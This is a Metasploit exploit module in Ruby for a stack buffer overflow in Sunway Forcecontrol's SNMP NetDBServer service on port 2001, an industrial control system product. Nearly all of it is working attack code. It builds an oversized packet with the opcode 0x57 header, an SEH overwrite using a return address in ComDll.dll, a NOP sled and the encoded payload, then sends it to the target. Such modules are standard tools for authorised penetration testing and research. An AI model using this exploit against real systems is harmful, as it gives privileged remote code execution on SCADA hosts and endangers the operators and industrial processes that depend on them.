##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Sunway Forcecontrol SNMP NetDBServer.exe Opcode 0x57',
      'Description'    => %q{
          This module exploits a stack based buffer overflow found in the SNMP
        NetDBServer service of Sunway Forcecontrol <= 6.1 sp3. The overflow is
        triggered when sending an overly long string to the listening service
        on port 2001.
      },
      'Author'         => [
            'Luigi Auriemma', # original discovery
            'Rinat Ziyayev',
            'James Fitts <fitts.james[at]gmail.com>'
          ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'OSVDB', '75798'],
          [ 'BID', '49747' ],
          [ 'URL', 'http://aluigi.altervista.org/adv/forcecontrol_1-adv.txt' ],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread',
        },
      'Privileged'     => true,
      'Payload'        =>
        {
          'DisableNops' => 'true',
          'BadChars' => "\x0a\x0d\xae",
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [
            # p/p/r ComDll.dll
            'Windows', {  'Ret' => 0x100022c4 }
          ],
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => '2011-09-22'))

    register_options(
      [
        Opt::RPORT(2001)
      ])
  end

  def exploit
    connect

    header =  "\xeb\x50\xeb\x50"
    header << "\x57\x00"  # packet type
    header << "\xff\xff\x00\x00"
    header << "\x01\x00"
    header << "\xff"

    footer = "\r\n"

    packet = rand_text_alpha_upper(65535)
    packet[0,header.length] = header
    packet[293,8] = generate_seh_record(target.ret)
    packet[301,20] = make_nops(20)
    packet[321,payload.encoded.length] = payload.encoded
    packet[65533,2] = footer

    print_status("Trying target %s..." % target.name)

    sock.put(packet)

    handler
    disconnect
  end
end
